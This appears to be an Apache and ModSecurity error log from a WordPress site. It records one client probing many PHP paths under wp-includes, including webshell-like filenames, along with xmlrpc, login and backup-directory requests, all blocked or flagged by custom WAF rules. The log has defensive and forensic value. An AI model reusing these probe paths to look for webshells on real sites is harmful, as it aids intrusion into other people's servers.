[Sun Dec 07 02:02:42.969418 2025] [:error] [pid 44818:tid 44855] [client 74.176.186.152:46183] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aTRvwlM8svkkGGrcPqO_7QAAAEQ"], referer: https://www.google.com/
[Sun Dec 07 02:02:43.197420 2025] [:error] [pid 29378:tid 29393] [client 74.176.186.152:36885] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTRvw60NYr_cN2P9iw6-JwAAAU0"], referer: https://www.bing.com/
[Sun Dec 07 02:02:43.425054 2025] [:error] [pid 44818:tid 44860] [client 74.176.186.152:65261] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aTRvw1M8svkkGGrcPqO_7gAAAEk"], referer: https://www.bing.com/
[Sun Dec 07 02:02:43.662228 2025] [:error] [pid 64409:tid 64465] [client 74.176.186.152:53930] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aTRvw0GzBNWhWo-aXwQ_VwAAAQU"], referer: https://www.bing.com/
[Sun Dec 07 02:02:43.899598 2025] [:error] [pid 44817:tid 44841] [client 74.176.186.152:3754] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aTRvw4q9cLyU8e8Cr9hNRgAAABI"], referer: https://www.bing.com/
[Sun Dec 07 02:02:44.293658 2025] [:error] [pid 44818:tid 44856] [client 74.176.186.152:46171] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aTRvxFM8svkkGGrcPqO_7wAAAEU"], referer: https://www.bing.com/
[Sun Dec 07 02:02:44.533427 2025] [:error] [pid 64409:tid 64469] [client 74.176.186.152:39058] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aTRvxEGzBNWhWo-aXwQ_XAAAAQg"], referer: https://www.google.com/
[Sun Dec 07 02:02:45.037031 2025] [:error] [pid 44818:tid 44869] [client 74.176.186.152:58752] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aTRvxVM8svkkGGrcPqO_8AAAAFI"], referer: https://www.google.com/
[Sun Dec 07 02:02:45.341413 2025] [:error] [pid 29378:tid 29403] [client 74.176.186.152:53916] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aTRvxa0NYr_cN2P9iw6-KgAAAVc"], referer: https://www.yahoo.com/
[Sun Dec 07 02:02:45.811491 2025] [:error] [pid 29378:tid 29385] [client 74.176.186.152:3726] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aTRvxa0NYr_cN2P9iw6-LAAAAUU"], referer: https://www.yahoo.com/
[Sun Dec 07 02:02:46.195734 2025] [:error] [pid 44817:tid 44839] [client 74.176.186.152:46147] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/radio.php"] [unique_id "aTRvxoq9cLyU8e8Cr9hNTgAAABA"], referer: https://www.google.de/
[Sun Dec 07 02:02:46.442920 2025] [:error] [pid 44817:tid 44827] [client 74.176.186.152:54007] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aTRvxoq9cLyU8e8Cr9hNTwAAAAQ"], referer: https://duckduckgo.com/
[Sun Dec 07 02:02:46.672610 2025] [:error] [pid 44817:tid 44844] [client 74.176.186.152:53979] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-locale-switcher-less.php"] [unique_id "aTRvxoq9cLyU8e8Cr9hNUQAAABU"], referer: https://www.google.com/
[Sun Dec 07 02:02:46.907226 2025] [:error] [pid 44818:tid 44858] [client 74.176.186.152:38125] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aTRvxlM8svkkGGrcPqO_8QAAAEc"], referer: https://www.google.fr/
[Sun Dec 07 02:02:47.191770 2025] [:error] [pid 29378:tid 29398] [client 74.176.186.152:3723] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aTRvx60NYr_cN2P9iw6-MwAAAVI"], referer: https://www.google.com/
[Sun Dec 07 02:02:47.531136 2025] [:error] [pid 44817:tid 44840] [client 74.176.186.152:53996] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-media-icon-control.php"] [unique_id "aTRvx4q9cLyU8e8Cr9hNUwAAABE"], referer: https://www.bing.com/
[Sun Dec 07 02:02:47.785201 2025] [:error] [pid 44818:tid 44867] [client 74.176.186.152:39050] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aTRvx1M8svkkGGrcPqO_8gAAAFA"], referer: https://www.google.com/
[Sun Dec 07 02:02:48.036854 2025] [:error] [pid 44817:tid 44826] [client 74.176.186.152:65246] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/sx.php"] [unique_id "aTRvyIq9cLyU8e8Cr9hNVgAAAAM"], referer: https://www.bing.com/
[Sun Dec 07 02:02:48.283884 2025] [:error] [pid 64409:tid 64466] [client 74.176.186.152:65244] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aTRvyEGzBNWhWo-aXwQ_XwAAAQY"], referer: https://www.yahoo.com/
[Sun Dec 07 02:02:48.528522 2025] [:error] [pid 64409:tid 64479] [client 74.176.186.152:53952] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTRvyEGzBNWhWo-aXwQ_YAAAARI"], referer: https://www.yahoo.com/
[Sun Dec 07 02:02:48.981250 2025] [:error] [pid 44818:tid 44853] [client 74.176.186.152:65270] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aTRvyFM8svkkGGrcPqO_-AAAAEI"], referer: https://www.google.fr/
[Sun Dec 07 02:02:49.286145 2025] [:error] [pid 29378:tid 29391] [client 74.176.186.152:39052] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aTRvya0NYr_cN2P9iw6-QAAAAUs"], referer: https://www.google.de/
[Sun Dec 07 02:02:49.533725 2025] [:error] [pid 64409:tid 64471] [client 74.176.186.152:36905] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aTRvyUGzBNWhWo-aXwQ_YQAAAQo"], referer: https://www.google.de/
[Sun Dec 07 02:02:49.976373 2025] [:error] [pid 44908:tid 44921] [client 74.176.186.152:58775] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTRvycodqHTdtmkcdXDZWAAAAMs"], referer: https://www.google.co.uk/
[Sun Dec 07 02:02:50.280890 2025] [:error] [pid 29378:tid 29382] [client 74.176.186.152:65224] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aTRvyq0NYr_cN2P9iw6-TwAAAUI"], referer: https://www.google.de/
[Sun Dec 07 02:02:50.525479 2025] [:error] [pid 44908:tid 44928] [client 74.176.186.152:39046] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aTRvysodqHTdtmkcdXDZWwAAANI"], referer: https://www.google.de/
[Sun Dec 07 02:02:50.826660 2025] [:error] [pid 44908:tid 44930] [client 74.176.186.152:3721] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aTRvysodqHTdtmkcdXDZXQAAANQ"], referer: https://duckduckgo.com/
[Sun Dec 07 02:02:51.230793 2025] [:error] [pid 44908:tid 44912] [client 74.176.186.152:55998] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aTRvy8odqHTdtmkcdXDZXgAAAMI"], referer: https://www.yahoo.com/
[Sun Dec 07 02:02:51.482935 2025] [:error] [pid 44819:tid 44900] [client 74.176.186.152:3736] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-db-array.php"] [unique_id "aTRvywOul9Pv7KHTFsiBJAAAAJY"], referer: https://www.google.de/
[Sun Dec 07 02:03:22.831007 2025] [:error] [pid 64409:tid 64482] [client 74.176.186.152:3766] [client 74.176.186.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.176.186.152, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTRv6kGzBNWhWo-aXwQ_lQAAARU"], referer: https://duckduckgo.com/
[Sun Dec 07 02:04:54.382361 2025] [:error] [pid 44908:tid 44920] [client 74.176.186.152:39761] [client 74.176.186.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.176.186.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTRwRsodqHTdtmkcdXDZzgAAAMo"], referer: https://www.google.de/
[Sun Dec 07 02:05:00.047079 2025] [autoindex:error] [pid 64409:tid 64475] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 07 02:05:00.174207 2025] [autoindex:error] [pid 64409:tid 64480] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 07 02:05:04.104160 2025] [autoindex:error] [pid 44908:tid 44930] [client 74.176.186.152:39761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 07 02:05:04.234098 2025] [:error] [pid 64409:tid 64469] [client 74.176.186.152:50456] [client 74.176.186.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.176.186.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aTRwUEGzBNWhWo-aXwRACgAAAQg"], referer: https://www.google.fr/
[Sun Dec 07 02:05:05.969034 2025] [:error] [pid 44908:tid 44917] [client 74.176.186.152:39761] [client 74.176.186.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.176.186.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aTRwUcodqHTdtmkcdXDZ3wAAAMc"], referer: https://www.google.fr/
[Sun Dec 07 02:05:12.100183 2025] [autoindex:error] [pid 64409:tid 64470] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 07 02:05:23.106123 2025] [authz_core:error] [pid 64409:tid 64465] [client 74.176.186.152:50456] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/wflogs/, referer: https://www.google.com/
[Sun Dec 07 02:05:23.227858 2025] [autoindex:error] [pid 64409:tid 64481] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 07 02:05:23.347742 2025] [access_compat:error] [pid 64409:tid 64480] [client 74.176.186.152:50456] AH01797: client denied by server configuration: /home/vetstars/public_html/wp-content/updraft/, referer: https://www.google.de/
[Sun Dec 07 02:05:41.992774 2025] [autoindex:error] [pid 44908:tid 44915] [client 74.176.186.152:39761] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 07 02:05:42.244728 2025] [autoindex:error] [pid 64409:tid 64459] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 07 02:05:42.366997 2025] [autoindex:error] [pid 64409:tid 64484] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Dec 07 02:05:42.490000 2025] [autoindex:error] [pid 64409:tid 64478] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 07 02:05:42.615966 2025] [autoindex:error] [pid 64409:tid 64482] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 07 02:05:42.734858 2025] [autoindex:error] [pid 64409:tid 64474] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 07 02:05:42.909904 2025] [autoindex:error] [pid 64409:tid 64470] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 07 02:05:43.035024 2025] [autoindex:error] [pid 64409:tid 64485] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 07 02:05:43.155022 2025] [autoindex:error] [pid 64409:tid 64483] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Dec 07 02:05:43.288205 2025] [autoindex:error] [pid 64409:tid 64473] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 07 02:05:43.450494 2025] [autoindex:error] [pid 64409:tid 64465] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 07 02:05:43.624075 2025] [autoindex:error] [pid 64409:tid 64460] [client 74.176.186.152:50456] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 07 02:05:43.746124 2025] [:error] [pid 64409:tid 64463] [client 74.176.186.152:50456] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aTRwd0GzBNWhWo-aXwRASwAAAQM"], referer: https://www.google.fr/
